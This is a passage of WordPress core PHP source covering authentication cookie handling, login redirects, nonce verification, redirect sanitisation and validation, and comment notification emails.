* pulling in the contents (if $cookie is not used).
*
* Makes sure the cookie is not expired. Verifies the hash in cookie is what is
* should be and compares the two.
*
* @since 2.5.0
*
* @global int $login_grace_period
*
* @param string $cookie Optional. If used, will validate contents instead of cookie's
* @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
* @return false|int False if invalid cookie, User ID if valid.
*/
function wp_validate_auth_cookie($cookie = '', $scheme = '') {
if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) {
/**
* Fires if an authentication cookie is malformed.
*
* @since 2.7.0
*
* @param string $cookie Malformed auth cookie.
* @param string $scheme Authentication scheme. Values include 'auth', 'secure_auth',
* or 'logged_in'.
*/
do_action( 'auth_cookie_malformed', $cookie, $scheme );
return false;
}
$scheme = $cookie_elements['scheme'];
$username = $cookie_elements['username'];
$hmac = $cookie_elements['hmac'];
$token = $cookie_elements['token'];
$expired = $expiration = $cookie_elements['expiration'];
// Allow a grace period for POST and Ajax requests
if ( wp_doing_ajax() || 'POST' == $_SERVER['REQUEST_METHOD'] ) {
$expired += HOUR_IN_SECONDS;
}
// Quick check to see if an honest cookie has expired
if ( $expired < time() ) {
/**
* Fires once an authentication cookie has expired.
*
* @since 2.7.0
*
* @param array $cookie_elements An array of data for the authentication cookie.
*/
do_action( 'auth_cookie_expired', $cookie_elements );
return false;
}
$user = get_user_by('login', $username);
if ( ! $user ) {
/**
* Fires if a bad username is entered in the user authentication process.
*
* @since 2.7.0
*
* @param array $cookie_elements An array of data for the authentication cookie.
*/
do_action( 'auth_cookie_bad_username', $cookie_elements );
return false;
}
$pass_frag = substr($user->user_pass, 8, 4);
$key = wp_hash( $username . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );
// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
$hash = hash_hmac( $algo, $username . '|' . $expiration . '|' . $token, $key );
if ( ! hash_equals( $hash, $hmac ) ) {
/**
* Fires if a bad authentication cookie hash is encountered.
*
* @since 2.7.0
*
* @param array $cookie_elements An array of data for the authentication cookie.
*/
do_action( 'auth_cookie_bad_hash', $cookie_elements );
return false;
}
$manager = WP_Session_Tokens::get_instance( $user->ID );
if ( ! $manager->verify( $token ) ) {
do_action( 'auth_cookie_bad_session_token', $cookie_elements );
return false;
}
// Ajax/POST grace period set above
if ( $expiration < time() ) {
$GLOBALS['login_grace_period'] = 1;
}
/**
* Fires once an authentication cookie has been validated.
*
* @since 2.7.0
*
* @param array $cookie_elements An array of data for the authentication cookie.
* @param WP_User $user User object.
*/
do_action( 'auth_cookie_valid', $cookie_elements, $user );
return $user->ID;
}
endif;
if ( !function_exists('wp_generate_auth_cookie') ) :
/**
* Generate authentication cookie contents.
*
* @since 2.5.0
* @since 4.0.0 The `$token` parameter was added.
*
* @param int $user_id User ID
* @param int $expiration The time the cookie expires as a UNIX timestamp.
* @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
* @param string $token User's session token to use for this cookie
* @return string Authentication cookie contents. Empty string if user does not exist.
*/
function wp_generate_auth_cookie( $user_id, $expiration, $scheme = 'auth', $token = '' ) {
$user = get_userdata($user_id);
if ( ! $user ) {
return '';
}
if ( ! $token ) {
$manager = WP_Session_Tokens::get_instance( $user_id );
$token = $manager->create( $expiration );
}
$pass_frag = substr($user->user_pass, 8, 4);
$key = wp_hash( $user->user_login . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );
// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
$hash = hash_hmac( $algo, $user->user_login . '|' . $expiration . '|' . $token, $key );
$cookie = $user->user_login . '|' . $expiration . '|' . $token . '|' . $hash;
/**
* Filters the authentication cookie.
*
* @since 2.5.0
* @since 4.0.0 The `$token` parameter was added.
*
* @param string $cookie Authentication cookie.
* @param int $user_id User ID.
* @param int $expiration The time the cookie expires as a UNIX timestamp.
* @param string $scheme Cookie scheme used. Accepts 'auth', 'secure_auth', or 'logged_in'.
* @param string $token User's session token used.
*/
return apply_filters( 'auth_cookie', $cookie, $user_id, $expiration, $scheme, $token );
}
endif;
if ( !function_exists('wp_parse_auth_cookie') ) :
/**
* Parse a cookie into its components
*
* @since 2.7.0
*
* @param string $cookie
* @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
* @return array|false Authentication cookie components
*/
function wp_parse_auth_cookie($cookie = '', $scheme = '') {
if ( empty($cookie) ) {
switch ($scheme){
case 'auth':
$cookie_name = AUTH_COOKIE;
break;
case 'secure_auth':
$cookie_name = SECURE_AUTH_COOKIE;
break;
case "logged_in":
$cookie_name = LOGGED_IN_COOKIE;
break;
default:
if ( is_ssl() ) {
$cookie_name = SECURE_AUTH_COOKIE;
$scheme = 'secure_auth';
} else {
$cookie_name = AUTH_COOKIE;
$scheme = 'auth';
}
}
if ( empty($_COOKIE[$cookie_name]) )
return false;
$cookie = $_COOKIE[$cookie_name];
}
$cookie_elements = explode('|', $cookie);
if ( count( $cookie_elements ) !== 4 ) {
return false;
}
list( $username, $expiration, $token, $hmac ) = $cookie_elements;
return compact( 'username', 'expiration', 'token', 'hmac', 'scheme' );
}
endif;
if ( !function_exists('wp_set_auth_cookie') ) :
/**
* Log in a user by setting authentication cookies.
*
* The $remember parameter increases the time that the cookie will be kept. The
* default the cookie is kept without remembering is two days. When $remember is
* set, the cookies will be kept for 14 days or two weeks.
*
* @since 2.5.0
* @since 4.3.0 Added the `$token` parameter.
*
* @param int $user_id User ID
* @param bool $remember Whether to remember the user
* @param mixed $secure Whether the admin cookies should only be sent over HTTPS.
* Default is_ssl().
* @param string $token Optional. User's session token to use for this cookie.
*/
function wp_set_auth_cookie( $user_id, $remember = false, $secure = '', $token = '' ) {
if ( $remember ) {
/**
* Filters the duration of the authentication cookie expiration period.
*
* @since 2.8.0
*
* @param int $length Duration of the expiration period in seconds.
* @param int $user_id User ID.
* @param bool $remember Whether to remember the user login. Default false.
*/
$expiration = time() + apply_filters( 'auth_cookie_expiration', 14 * DAY_IN_SECONDS, $user_id, $remember );
/*
* Ensure the browser will continue to send the cookie after the expiration time is reached.
* Needed for the login grace period in wp_validate_auth_cookie().
*/
$expire = $expiration + ( 12 * HOUR_IN_SECONDS );
} else {
/** This filter is documented in wp-includes/pluggable.php */
$expiration = time() + apply_filters( 'auth_cookie_expiration', 2 * DAY_IN_SECONDS, $user_id, $remember );
$expire = 0;
}
if ( '' === $secure ) {
$secure = is_ssl();
}
// Front-end cookie is secure when the auth cookie is secure and the site's home URL is forced HTTPS.
$secure_logged_in_cookie = $secure && 'https' === parse_url( get_option( 'home' ), PHP_URL_SCHEME );
/**
* Filters whether the connection is secure.
*
* @since 3.1.0
*
* @param bool $secure Whether the connection is secure.
* @param int $user_id User ID.
*/
$secure = apply_filters( 'secure_auth_cookie', $secure, $user_id );
/**
* Filters whether to use a secure cookie when logged-in.
*
* @since 3.1.0
*
* @param bool $secure_logged_in_cookie Whether to use a secure cookie when logged-in.
* @param int $user_id User ID.
* @param bool $secure Whether the connection is secure.
*/
$secure_logged_in_cookie = apply_filters( 'secure_logged_in_cookie', $secure_logged_in_cookie, $user_id, $secure );
if ( $secure ) {
$auth_cookie_name = SECURE_AUTH_COOKIE;
$scheme = 'secure_auth';
} else {
$auth_cookie_name = AUTH_COOKIE;
$scheme = 'auth';
}
if ( '' === $token ) {
$manager = WP_Session_Tokens::get_instance( $user_id );
$token = $manager->create( $expiration );
}
$auth_cookie = wp_generate_auth_cookie( $user_id, $expiration, $scheme, $token );
$logged_in_cookie = wp_generate_auth_cookie( $user_id, $expiration, 'logged_in', $token );
/**
* Fires immediately before the authentication cookie is set.
*
* @since 2.5.0
* @since 4.9.0 The `$token` parameter was added.
*
* @param string $auth_cookie Authentication cookie.
* @param int $expire The time the login grace period expires as a UNIX timestamp.
* Default is 12 hours past the cookie's expiration time.
* @param int $expiration The time when the authentication cookie expires as a UNIX timestamp.
* Default is 14 days from now.
* @param int $user_id User ID.
* @param string $scheme Authentication scheme. Values include 'auth', 'secure_auth', or 'logged_in'.
* @param string $token User's session token to use for this cookie.
*/
do_action( 'set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme, $token );
/**
* Fires immediately before the logged-in authentication cookie is set.
*
* @since 2.6.0
* @since 4.9.0 The `$token` parameter was added.
*
* @param string $logged_in_cookie The logged-in cookie.
* @param int $expire The time the login grace period expires as a UNIX timestamp.
* Default is 12 hours past the cookie's expiration time.
* @param int $expiration The time when the logged-in authentication cookie expires as a UNIX timestamp.
* Default is 14 days from now.
* @param int $user_id User ID.
* @param string $scheme Authentication scheme. Default 'logged_in'.
* @param string $token User's session token to use for this cookie.
*/
do_action( 'set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in', $token );
/**
* Allows preventing auth cookies from actually being sent to the client.
*
* @since 4.7.4
*
* @param bool $send Whether to send auth cookies to the client.
*/
if ( ! apply_filters( 'send_auth_cookies', true ) ) {
return;
}
setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
if ( COOKIEPATH != SITECOOKIEPATH )
setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
}
endif;
if ( !function_exists('wp_clear_auth_cookie') ) :
/**
* Removes all of the cookies associated with authentication.
*
* @since 2.5.0
*/
function wp_clear_auth_cookie() {
/**
* Fires just before the authentication cookies are cleared.
*
* @since 2.7.0
*/
do_action( 'clear_auth_cookie' );
/** This filter is documented in wp-includes/pluggable.php */
if ( ! apply_filters( 'send_auth_cookies', true ) ) {
return;
}
// Auth cookies
setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN );
setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN );
setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
setcookie( LOGGED_IN_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
setcookie( LOGGED_IN_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
// Settings cookies
setcookie( 'wp-settings-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
setcookie( 'wp-settings-time-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
// Old cookies
setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
// Even older cookies
setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
}
endif;
if ( !function_exists('is_user_logged_in') ) :
/**
* Checks if the current visitor is a logged in user.
*
* @since 2.0.0
*
* @return bool True if user is logged in, false if not logged in.
*/
function is_user_logged_in() {
$user = wp_get_current_user();
return $user->exists();
}
endif;
if ( !function_exists('auth_redirect') ) :
/**
* Checks if a user is logged in, if not it redirects them to the login page.
*
* @since 1.5.0
*/
function auth_redirect() {
// Checks if a user is logged in, if not redirects them to the login page
$secure = ( is_ssl() || force_ssl_admin() );
/**
* Filters whether to use a secure authentication redirect.
*
* @since 3.1.0
*
* @param bool $secure Whether to use a secure authentication redirect. Default false.
*/
$secure = apply_filters( 'secure_auth_redirect', $secure );
// If https is required and request is http, redirect
if ( $secure && !is_ssl() && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
exit();
} else {
wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
exit();
}
}
/**
* Filters the authentication redirect scheme.
*
* @since 2.9.0
*
* @param string $scheme Authentication redirect scheme. Default empty.
*/
$scheme = apply_filters( 'auth_redirect_scheme', '' );
if ( $user_id = wp_validate_auth_cookie( '', $scheme) ) {
/**
* Fires before the authentication redirect.
*
* @since 2.8.0
*
* @param int $user_id User ID.
*/
do_action( 'auth_redirect', $user_id );
// If the user wants ssl but the session is not ssl, redirect.
if ( !$secure && get_user_option('use_ssl', $user_id) && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
exit();
} else {
wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
exit();
}
}
return; // The cookie is good so we're done
}
// The cookie is no good so force login
nocache_headers();
$redirect = ( strpos( $_SERVER['REQUEST_URI'], '/options.php' ) && wp_get_referer() ) ? wp_get_referer() : set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
$login_url = wp_login_url($redirect, true);
wp_redirect($login_url);
exit();
}
endif;
if ( !function_exists('check_admin_referer') ) :
/**
* Makes sure that a user was referred from another admin page.
*
* To avoid security exploits.
*
* @since 1.2.0
*
* @param int|string $action Action nonce.
* @param string $query_arg Optional. Key to check for nonce in `$_REQUEST` (since 2.5).
* Default '_wpnonce'.
* @return false|int False if the nonce is invalid, 1 if the nonce is valid and generated between
* 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
*/
function check_admin_referer( $action = -1, $query_arg = '_wpnonce' ) {
if ( -1 == $action )
_doing_it_wrong( __FUNCTION__, __( 'You should specify a nonce action to be verified by using the first parameter.' ), '3.2.0' );
$adminurl = strtolower(admin_url());
$referer = strtolower(wp_get_referer());
$result = isset($_REQUEST[$query_arg]) ? wp_verify_nonce($_REQUEST[$query_arg], $action) : false;
/**
* Fires once the admin request has been validated or not.
*
* @since 1.5.1
*
* @param string $action The nonce action.
* @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between
* 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
*/
do_action( 'check_admin_referer', $action, $result );
if ( ! $result && ! ( -1 == $action && strpos( $referer, $adminurl ) === 0 ) ) {
wp_nonce_ays( $action );
die();
}
return $result;
}
endif;
if ( !function_exists('check_ajax_referer') ) :
/**
* Verifies the Ajax request to prevent processing requests external of the blog.
*
* @since 2.0.3
*
* @param int|string $action Action nonce.
* @param false|string $query_arg Optional. Key to check for the nonce in `$_REQUEST` (since 2.5). If false,
* `$_REQUEST` values will be evaluated for '_ajax_nonce', and '_wpnonce'
* (in that order). Default false.
* @param bool $die Optional. Whether to die early when the nonce cannot be verified.
* Default true.
* @return false|int False if the nonce is invalid, 1 if the nonce is valid and generated between
* 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
*/
function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) {
if ( -1 == $action ) {
_doing_it_wrong( __FUNCTION__, __( 'You should specify a nonce action to be verified by using the first parameter.' ), '4.7' );
}
$nonce = '';
if ( $query_arg && isset( $_REQUEST[ $query_arg ] ) )
$nonce = $_REQUEST[ $query_arg ];
elseif ( isset( $_REQUEST['_ajax_nonce'] ) )
$nonce = $_REQUEST['_ajax_nonce'];
elseif ( isset( $_REQUEST['_wpnonce'] ) )
$nonce = $_REQUEST['_wpnonce'];
$result = wp_verify_nonce( $nonce, $action );
/**
* Fires once the Ajax request has been validated or not.
*
* @since 2.1.0
*
* @param string $action The Ajax nonce action.
* @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between
* 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
*/
do_action( 'check_ajax_referer', $action, $result );
if ( $die && false === $result ) {
if ( wp_doing_ajax() ) {
wp_die( -1, 403 );
} else {
die( '-1' );
}
}
return $result;
}
endif;
if ( !function_exists('wp_redirect') ) :
/**
* Redirects to another page.
*
* Note: wp_redirect() does not exit automatically, and should almost always be
* followed by a call to `exit;`:
*
* wp_redirect( $url );
* exit;
*
* Exiting can also be selectively manipulated by using wp_redirect() as a conditional
* in conjunction with the {@see 'wp_redirect'} and {@see 'wp_redirect_location'} hooks:
*
* if ( wp_redirect( $url ) ) {
* exit;
* }
*
* @since 1.5.1
*
* @global bool $is_IIS
*
* @param string $location The path to redirect to.
* @param int $status Status code to use.
* @return bool False if $location is not provided, true otherwise.
*/
function wp_redirect($location, $status = 302) {
global $is_IIS;
/**
* Filters the redirect location.
*
* @since 2.1.0
*
* @param string $location The path to redirect to.
* @param int $status Status code to use.
*/
$location = apply_filters( 'wp_redirect', $location, $status );
/**
* Filters the redirect status code.
*
* @since 2.3.0
*
* @param int $status Status code to use.
* @param string $location The path to redirect to.
*/
$status = apply_filters( 'wp_redirect_status', $status, $location );
if ( ! $location )
return false;
$location = wp_sanitize_redirect($location);
if ( !$is_IIS && PHP_SAPI != 'cgi-fcgi' )
status_header($status); // This causes problems on IIS and some FastCGI setups
header("Location: $location", true, $status);
return true;
}
endif;
if ( !function_exists('wp_sanitize_redirect') ) :
/**
* Sanitizes a URL for use in a redirect.
*
* @since 2.3.0
*
* @param string $location The path to redirect to.
* @return string Redirect-sanitized URL.
**/
function wp_sanitize_redirect($location) {
$regex = '/
(
(?: [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx
| \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2
| [\xE1-\xEC][\x80-\xBF]{2}
| \xED[\x80-\x9F][\x80-\xBF]
| [\xEE-\xEF][\x80-\xBF]{2}
| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3
| [\xF1-\xF3][\x80-\xBF]{3}
| \xF4[\x80-\x8F][\x80-\xBF]{2}
){1,40} # ...one or more times
)/x';
$location = preg_replace_callback( $regex, '_wp_sanitize_utf8_in_redirect', $location );
$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%!*\[\]()@]|i', '', $location);
$location = wp_kses_no_null($location);
// remove %0d and %0a from location
$strip = array('%0d', '%0a', '%0D', '%0A');
return _deep_replace( $strip, $location );
}
/**
* URL encode UTF-8 characters in a URL.
*
* @ignore
* @since 4.2.0
* @access private
*
* @see wp_sanitize_redirect()
*
* @param array $matches RegEx matches against the redirect location.
* @return string URL-encoded version of the first RegEx match.
*/
function _wp_sanitize_utf8_in_redirect( $matches ) {
return urlencode( $matches[0] );
}
endif;
if ( !function_exists('wp_safe_redirect') ) :
/**
* Performs a safe (local) redirect, using wp_redirect().
*
* Checks whether the $location is using an allowed host, if it has an absolute
* path. A plugin can therefore set or remove allowed host(s) to or from the
* list.
*
* If the host is not allowed, then the redirect defaults to wp-admin on the siteurl
* instead. This prevents malicious redirects which redirect to another host,
* but only used in a few places.
*
* @since 2.3.0
*
* @param string $location The path to redirect to.
* @param int $status Status code to use.
*/
function wp_safe_redirect($location, $status = 302) {
// Need to look at the URL the way it will end up in wp_redirect()
$location = wp_sanitize_redirect($location);
/**
* Filters the redirect fallback URL for when the provided redirect is not safe (local).
*
* @since 4.3.0
*
* @param string $fallback_url The fallback URL to use by default.
* @param int $status The redirect status.
*/
$location = wp_validate_redirect( $location, apply_filters( 'wp_safe_redirect_fallback', admin_url(), $status ) );
wp_redirect($location, $status);
}
endif;
if ( !function_exists('wp_validate_redirect') ) :
/**
* Validates a URL for use in a redirect.
*
* Checks whether the $location is using an allowed host, if it has an absolute
* path. A plugin can therefore set or remove allowed host(s) to or from the
* list.
*
* If the host is not allowed, then the redirect is to $default supplied
*
* @since 2.8.1
*
* @param string $location The redirect to validate
* @param string $default The value to return if $location is not allowed
* @return string redirect-sanitized URL
**/
function wp_validate_redirect($location, $default = '') {
$location = trim( $location, " \t\n\r\0\x08\x0B" );
// browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//'
if ( substr($location, 0, 2) == '//' )
$location = 'http:' . $location;
// In php 5 parse_url may fail if the URL query part contains http://, bug #38143
$test = ( $cut = strpos($location, '?') ) ? substr( $location, 0, $cut ) : $location;
// @-operator is used to prevent possible warnings in PHP < 5.3.3.
$lp = @parse_url($test);
// Give up if malformed URL
if ( false === $lp )
return $default;
// Allow only http and https schemes. No data:, etc.
if ( isset($lp['scheme']) && !('http' == $lp['scheme'] || 'https' == $lp['scheme']) )
return $default;
// Reject if certain components are set but host is not. This catches urls like https:host.com for which parse_url does not set the host field.
if ( ! isset( $lp['host'] ) && ( isset( $lp['scheme'] ) || isset( $lp['user'] ) || isset( $lp['pass'] ) || isset( $lp['port'] ) ) ) {
return $default;
}
// Reject malformed components parse_url() can return on odd inputs.
foreach ( array( 'user', 'pass', 'host' ) as $component ) {
if ( isset( $lp[ $component ] ) && strpbrk( $lp[ $component ], ':/?#@' ) ) {
return $default;
}
}
$wpp = parse_url(home_url());
/**
* Filters the whitelist of hosts to redirect to.
*
* @since 2.3.0
*
* @param array $hosts An array of allowed hosts.
* @param bool|string $host The parsed host; empty if not isset.
*/
$allowed_hosts = (array) apply_filters( 'allowed_redirect_hosts', array($wpp['host']), isset($lp['host']) ? $lp['host'] : '' );
if ( isset($lp['host']) && ( !in_array($lp['host'], $allowed_hosts) && $lp['host'] != strtolower($wpp['host'])) )
$location = $default;
return $location;
}
endif;
if ( ! function_exists('wp_notify_postauthor') ) :
/**
* Notify an author (and/or others) of a comment/trackback/pingback on a post.
*
* @since 1.0.0
*
* @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
* @param string $deprecated Not used
* @return bool True on completion. False if no email addresses were specified.
*/
function wp_notify_postauthor( $comment_id, $deprecated = null ) {
if ( null !== $deprecated ) {
_deprecated_argument( __FUNCTION__, '3.8.0' );
}
$comment = get_comment( $comment_id );
if ( empty( $comment ) || empty( $comment->comment_post_ID ) )
return false;
$post = get_post( $comment->comment_post_ID );
$author = get_userdata( $post->post_author );
// Who to notify? By default, just the post author, but others can be added.
$emails = array();
if ( $author ) {
$emails[] = $author->user_email;
}
/**
* Filters the list of email addresses to receive a comment notification.
*
* By default, only post authors are notified of comments. This filter allows
* others to be added.
*
* @since 3.7.0
*
* @param array $emails An array of email addresses to receive a comment notification.
* @param int $comment_id The comment ID.
*/
$emails = apply_filters( 'comment_notification_recipients', $emails, $comment->comment_ID );
$emails = array_filter( $emails );
// If there are no addresses to send the comment to, bail.
if ( ! count( $emails ) ) {
return false;
}
// Facilitate unsetting below without knowing the keys.
$emails = array_flip( $emails );
/**
* Filters whether to notify comment authors of their comments on their own posts.
*
* By default, comment authors aren't notified of their comments on their own
* posts. This filter allows you to override that.
*
* @since 3.8.0
*
* @param bool $notify Whether to notify the post author of their own comment.
* Default false.
* @param int $comment_id The comment ID.
*/
$notify_author = apply_filters( 'comment_notification_notify_author', false, $comment->comment_ID );
// The comment was left by the author
if ( $author && ! $notify_author && $comment->user_id == $post->post_author ) {
unset( $emails[ $author->user_email ] );
}
// The author moderated a comment on their own post
if ( $author && ! $notify_author && $post->post_author == get_current_user_id() ) {
unset( $emails[ $author->user_email ] );
}
// The post author is no longer a member of the blog
if ( $author && ! $notify_author && ! user_can( $post->post_author, 'read_post', $post->ID ) ) {
unset( $emails[ $author->user_email ] );
}
// If there's no email to send the comment to, bail, otherwise flip array back around for use below
if ( ! count( $emails ) ) {
return false;
} else {
$emails = array_flip( $emails );
}
$switched_locale = switch_to_locale( get_locale() );
$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
// The blogname option is escaped with esc_html on the way into the database in sanitize_option
// we want to reverse this for the plain text arena of emails.
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
$comment_content = wp_specialchars_decode( $comment->comment_content );
switch ( $comment->comment_type ) {
case 'trackback':
/* translators: 1: Post title */
$notify_message = sprintf( __( 'New trackback on your post "%s"' ), $post->post_title ) . "\r\n";
/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
$notify_message .= sprintf( __('Website: %1$s (IP address: %2$s, %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
$notify_message .= __( 'You can see all trackbacks on this post here:' ) . "\r\n";
/* translators: 1: blog name, 2: post title */
$subject = sprintf( __('[%1$s] Trackback: "%2$s"'), $blogname, $post->post_title );
break;
case 'pingback':
/* translators: 1: Post title */
$notify_message = sprintf( __( 'New pingback on your post "%s"' ), $post->post_title ) . "\r\n";
/* translators: 1: Trackback/pingback website name, 2: website IP address, 3: website hostname */
$notify_message .= sprintf( __('Website: %1$s (IP address: %2$s, %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
$notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
$notify_message .= __( 'You can see all pingbacks on this post here:' ) . "\r\n";
/* translators: 1: blog name, 2: post title */
$subject = sprintf( __('[%1$s] Pingback: "%2$s"'), $blogname, $post->post_title );
break;
default: // Comments
$notify_message = sprintf( __( 'New comment on your post "%s"' ), $post->post_title ) . "\r\n";
/* translators: 1: comment author, 2: comment author's IP address, 3: comment author's hostname */
$notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
$notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n";
$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
$notify_message .= sprintf( __('Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n";
$notify_message .= __( 'You can see all comments on this post here:' ) . "\r\n";
/* translators: 1: blog name, 2: post title */
$subject = sprintf( __('[%1$s] Comment: "%2$s"'), $blogname, $post->post_title );
break;
}
$notify_message .= get_permalink($comment->comment_post_ID) . "#comments\r\n\r\n";
$notify_message .= sprintf( __('Permalink: %s'), get_comment_link( $comment ) ) . "\r\n";
if ( user_can( $post->post_author, 'edit_comment', $comment->comment_ID ) ) {
if ( EMPTY_TRASH_DAYS ) {
$notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
} else {
$notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
}
$notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n";
}
$wp_email = 'wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
if ( '' == $comment->comment_author ) {
$from = "From: \"$blogname\" <$wp_email>";
if ( '' != $comment->comment_author_email )
$reply_to = "Reply-To: $comment->comment_author_email";
} else {
$from = "From: \"$comment->comment_author\" <$wp_email>";
if ( '' != $comment->comment_author_email )
$reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>";
}
$message_headers = "$from\n"
. "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
if ( isset($reply_to) )
$message_headers .= $reply_to . "\n";
/**
* Filters the comment notification email text.
*
* @since 1.5.2
*
* @param string $notify_message The comment notification email text.
* @param int $comment_id Comment ID.
*/
$notify_message = apply_filters( 'comment_notification_text', $notify_message, $comment->comment_ID );
/**
* Filters the comment notification email subject.
*
* @since 1.5.2
*
* @param string $subject The comment notification email subject.
* @param int $comment_id Comment ID.
*/
$subject = apply_filters( 'comment_notification_subject', $subject, $comment->comment_ID );
/**
* Filters the comment notification email headers.
*
* @since 1.5.2
*
* @param string $message_headers Headers for the comment notification email.
* @param int $comment_id Comment ID.
*/
$message_headers = apply_filters( 'comment_notification_headers', $message_headers, $comment->comment_ID );
foreach ( $emails as $email ) {
@wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
}
if ( $switched_locale ) {
restore_previous_locale();
}
return true;
}
endif;
if ( !function_exists('wp_notify_moderator') ) :
/**
* Notifies the moderator of the site about a new comment that is awaiting approval.
*
* @since 1.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
